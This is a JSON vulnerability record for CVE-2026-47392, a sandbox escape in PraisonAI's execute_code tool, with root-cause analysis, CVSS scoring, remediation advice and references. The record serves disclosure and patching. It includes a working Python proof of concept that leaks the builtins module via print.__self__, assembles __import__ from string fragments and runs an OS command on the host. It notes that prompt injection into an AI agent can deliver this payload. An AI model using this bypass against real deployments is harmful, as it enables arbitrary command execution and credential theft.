{"id":"CVE-2026-47392","aliases":["CVE-2026-47392","GHSA-4mr5-g6f9-cfrh","PYSEC-2026-463","PYSEC-2026-483"],"related":[],"kind":"vulnerability","state":"published","title":"PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)","summary":"PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain an updated fix.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain an updated fix.","source":"cvelist"},{"lang":"en","text":"## Summary\n\n`execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.\n\nThis is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline).\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical**\n\n---\n\n## Root Cause\n\nThree independent gaps in the AST-based security validation:\n\n### Gap 1: `__self__` missing from `_blocked_attrs`\n\nIn CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `<module 'builtins' (built-in)>`.\n\nThe `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes.\n\n### Gap 2: `vars` not blocked as callable or attribute\n\n`builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access.\n\nSo `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` — a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc.\n\n### Gap 3: AST `Call` check only catches `ast.Name` nodes\n\nThe dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` — i.e., bare-name calls like `exec(...)`. It does NOT catch:\n- Attribute calls: `b.exec(...)` — func is `ast.Attribute`\n- Subscript calls: `d[\"exec\"](...)` — func is `ast.Subscript`\n\n### Gap 4: Runtime string construction bypasses string constant check\n\nThe string constant check (line 92-98) catches literals like `\"__import__\"`, but NOT runtime concatenation like `\"_\" + \"_\" + \"import\" + \"_\" + \"_\"`. The AST sees 5 separate `Constant` nodes (`\"_\"`, `\"_\"`, `\"import\"`, `\"_\"`, `\"_\"`), none of which contain any blocked attr as a substring.\n\n---\n\n## Proof of Concept\n\n```python\nfrom praisonaiagents.tools.python_tools import execute_code\n\n# Exploit: 4 lines, bypasses ALL security layers\npayload = \"\"\"\nb = print.__self__\nd = b.vars(b)\nkey = \"_\" + \"_\" + \"import\" + \"_\" + \"_\"\nimp = d[key]\nmod = imp(\"os\")\nprint(mod.popen(\"id\").read())\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\\n', 'stderr': '', 'success': True}\n```\n\n### Step-by-step bypass analysis:\n\n| Line | AST node | Check | Result |\n|---|---|---|---|\n| `print.__self__` | `Attribute(attr='__self__')` | `__self__` in `_blocked_attrs`? | **NO** → passes |\n| `b.vars` | `Attribute(attr='vars')` | `vars` in `_blocked_attrs`? | **NO** → passes |\n| `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** → passes |\n| `\"_\"`, `\"import\"` | `Constant(value=str)` | Contains blocked attr? | **NO** → passes |\n| `d[key]` | `Subscript` | Not checked | passes |\n| `imp(\"os\")` | `Call(func=Name('imp'))` | `imp` in blocked calls? | **NO** → passes |\n\n**Result: Full sandbox escape → arbitrary command execution**\n\n---\n\n## Impact\n\nAn attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:\n\n- Execute arbitrary commands on the host system\n- Read/write any file accessible to the process\n- Exfiltrate environment variables, API keys, and credentials\n- Pivot to internal networks\n- Install persistent backdoors\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: All versions through 1.6.37 (latest)\n- **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function\n- **Default configuration affected**: Yes (`sandbox_mode=\"sandbox\"` is the default)\n\n---\n\n## Remediation\n\n### Immediate fix\nAdd `__self__` to `_blocked_attrs`:\n```python\n_blocked_attrs = frozenset({\n    ...,\n    '__self__',  # Built-in functions leak their parent module\n})\n```\n\n### Additional hardening\n1. Block `vars` in the callable blocklist\n2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes\n3. Add AST check for `BinOp` string concatenation that could construct blocked attr names\n\n### Fundamental recommendation\nDenylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:\n- Using `isolated-vm` (Node.js) or WebAssembly-based isolation\n- Using OS-level sandboxing (seccomp, namespaces, gVisor)\n- Removing in-process code execution entirely in favor of containerized execution","format":"markdown","source":"ghsa"}],"published":"2026-05-29T22:30:13.000Z","modified":"2026-07-21T18:59:43.940Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"}],"cwes":["CWE-184","CWE-693"],"affected":[{"ranges":[{"version":"< 4.6.40","status":"affected"}],"vendor":"MervinPraison","product":"PraisonAI","source":"cvelist"},{"ranges":[{"version":"praisonaiagents","status":"affected"}],"vendor":"MervinPraison","product":"< 1.6.40","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.6.40"}],"ecosystem":"PyPI","package":"praisonaiagents","purl":"pkg:pypi/praisonaiagents","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.6.40"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.6.40"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"pysec"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.6.40"}],"ecosystem":"PyPI","package":"praisonaiagents","purl":"pkg:pypi/praisonaiagents","source":"pysec"}],"references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4mr5-g6f9-cfrh","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/MervinPraison/PraisonAI/pull/1684","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/MervinPraison/PraisonAI/commit/b0d8f777528f3253a0cfb0a3ef65455da6ae32f6","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/MervinPraison/PraisonAI","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/praisonai","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-4mr5-g6f9-cfrh","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47392","tags":["advisory"],"sources":["pysec"]},{"url":"https://pypi.org/project/praisonaiagents","tags":["package"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-07-21T16:39:00.607Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-47392","url":"https://www.cve.org/CVERecord?id=CVE-2026-47392","licence":"CVE Terms of Use","modified":"2026-07-21T16:39:40.246Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-4mr5-g6f9-cfrh","url":"https://github.com/advisories/GHSA-4mr5-g6f9-cfrh","licence":"CC-BY-4.0","modified":"2026-06-29T12:26:46.215Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-47392","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47392","licence":"Public domain","modified":"2026-07-21T18:59:43.940Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-463","url":"https://osv.dev/vulnerability/PYSEC-2026-463","licence":"CC-BY-4.0","modified":"2026-07-13T16:15:30.097Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-483","url":"https://osv.dev/vulnerability/PYSEC-2026-483","licence":"CC-BY-4.0","modified":"2026-07-13T16:15:10.474Z"}],"updatedAt":"2026-11-25T22:59:29.349Z","epss":{"score":0.00602,"percentile":0.50155,"date":"2026-12-01T12:00:22.000Z"}}